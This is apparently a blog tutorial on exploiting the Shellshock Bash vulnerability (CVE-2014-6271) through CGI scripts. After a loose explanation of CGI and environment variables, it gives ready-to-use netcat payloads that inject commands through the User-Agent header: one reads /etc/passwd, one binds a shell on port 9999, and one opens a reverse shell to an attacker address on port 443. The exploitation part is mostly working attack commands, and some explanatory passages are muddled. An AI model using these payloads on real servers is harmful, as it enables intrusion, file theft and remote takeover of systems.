In this blog we are gonna discuss about the CVE-2014-6271 Shellshock vulnerability
This Vulnerability impacts the Bourne Again Shell aka "Bash". Bash is not usually available through a web application but can be indirectly exposed through a Common Gateway Interface aka "CGI".
About the Vulnerability
Here, we are going to focus on the first version of the vulnerability but many more vulnerabilities in the same subpart of Bash have been found since: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187... click here for more info
The source of the issue is that Bash can have internal function declaration in its environment variable. The first version of the vulnerability is related to the ability to run arbitrary commands after a function declaration.
First, we need to declare that the environment variable is a function using (). Then we will add an empty body for the function. Finally, we can start adding the command we want to run after the function declaration. More details can be found in the following email on oss-sec
Apache uses environment variables to pass headers to the CGI. Since it's a Bash based CGI, we will be able to run arbitrary command by declaring an empty function and add a command after this declaration.
What is CGI?
CGI is Common Gateway Interfaces is standard way of running programs from a Web server. Often, CGI programs are used to generate pages dynamically or to perform some other action when someone fills out an HTML form and clicks on submit button.
So when a user sends send the request, it usually needs to be processed by an application program.The Web server typically passes the form information to a small application program that processes the data and may send back a confirmation message. This method or convention for passing data back and forth between the server and the application is called the CGI. It is part of the Web's HTTP(Hyper Text Transfer Protocol).
So if you are creating a Web site and a CGI application to get control, you specify the name of the application in the URL(Uniform Resource Locator) that you code in HTML file. This URL can be specified as part of the FORMS tags if you are creating a form. For eg. you might use the following:
<FORM METHOD=POST ACTION=http://www.somewebsite.com/cgi-bin/formprog.rb>
and the server at "somewebsite.com" would pass control to the CGI application called "formprog.rb" to record the entered data and return a confirmation message.
NOTE: .rb indicates ruby language.
The common gateway interface provides a consistent way for data to be passed from the user's request to the application program and back to the user. This means that the person who writes the application program can makes sure it gets used no matter which operating system the server uses (PC, Macintosh, UNIX, OS/390, or others). It's simply a basic way for information to be passed from the Web server about your request to the application program and back again.
Because the interface is consistent, a programmer can write a CGI application in a number of different languages. The most popular languages for CGI applications are: C, C++, Java, and PERL.
An alternative to a CGI application is Microsoft's Active Server Page (ASP), in which a script embedded in a Web page is executed at the server before the page is sent.
Fingerprinting
By visiting the application with a proxy (Burp Suite or OWSAP ZAP), we can detect that multiple URL are accessed when the page is loaded:
To exploit "Shellshock", we need to find a way to "talk" to Bash. This implies finding a CGIs commonly use Python or Perl but it's common to find(on old servers), {Because new ones are generally in Microsoft's ASP}, CGI written is Shell or even C.
How CGI works?
When you call a CGI, the web server (Apache here) will start a new process and run the CGI. Here it will start a Bash process and run the CGI script.
Apache needs to pass information to the CGI script. To do so, it uses environment variables. Environment variables are available inside the CGI script. It allows Apache to easily pass every headers (amongst other information) to the CGI. If you have a HTTP header named Blah in your request, you will have an environment variable named HTTP_BLAH available in your CGI.
Tip's to check vulnerability
You can quickly test this by replacing the call to "uptime" by a call to "env" in the CGI. Then if you call your script with arbitrary header, you should see them in the page.
Being a hacker lets talk about Exploitation
Here we can use a tool known as netcat or you can make your own listener using any programing language.If you want to known how to write a such code please mention in comment section.Here we can also exploit this vulnerability using a proxy with a repeater mode<eg netcat>
Multiple payloads can be used depending on what you want to achieve. You can start by reading arbitrary files by using the following payload:
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: target\r\n\Connection: close\r\n\r\n" | nc target 80
The above payload will read the content of the /etc/passwd and echo it in the response over port 80
NOTE: You will need to inspect the HTTP headers of the response to see the file's content
Binding Shell
If you want to run the command, the easiest way is to bind a shell. Basically you will need netcat (or nc) to listen on a port and redirect input and output to /bin/sh or /bin/bash
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: target\r\nConnection: close\r\n\r\n" | nc vulnerable 80
NOTE: Here, the path to netcat/nc is given. On a real system, you will have to brute force it and it may not be installed. and we are targeting /bin/sh over port 80
Bind shells suffer from a huge limitation: it's likely that a firewall between you and your victim will prevent you from connecting to the port you just bound. To bypass this, we are going to get the server to connect back to us.
Gaining Reverse Shell
We want the server to connect back to us. To do so, we are first going to bind a port on our system. We want a port that the server is likely to have access to, the most common are 21 (FTP), 53 (DNS), 123 (NTP), 80 (HTTP) and 443 (HTTPs) as they are probably used to keep the system up-to-date and to perform every day operations.
We are going to bind the port 443 (You will need to run this command as root or using sudo) using the following command:
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc ipAddress 443 -e /bin/sh\r\nHost: target\r\nConnection: close\r\n\r\n" | nc vulnerable 80
By going back to our initial netcat, we can now type commands locally and they will be ran on the compromised system.
Comments